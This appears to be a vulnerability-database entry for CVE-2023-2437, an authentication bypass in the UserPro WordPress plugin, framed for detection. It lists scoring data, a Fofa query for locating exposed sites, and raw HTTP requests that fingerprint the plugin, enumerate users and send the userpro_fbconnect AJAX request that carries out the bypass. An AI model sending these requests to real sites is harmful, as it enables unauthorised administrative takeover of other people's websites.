🔙 목록으로 돌아가기

CVE-2023-2437: UserPro <= 5.1.1 - Authentication Bypass

TitleUserPro <= 5.1.1 - Authentication Bypass
Authorintelligent-ears
SeverityCritical
ImpactUnauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.
RemediationUpdate UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.
CVSS Score9.8
EPSS Score0.73462
CVE IDCVE-2023-2437
CWE IDCWE-287
Fofa Querybody="/wp-content/plugins/userpro/"
Tags cve cve2023 wp wordpress wp-plugin userpro auth-bypass vkev

🔍 Vulnerability Description

The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.

🌐 HTTP Request

GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
GET /wp-json/wp/v2/users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Connection: close
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=userpro_fbconnect&id=k7RO5D&email=8whFO0

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-2437.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-2437.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A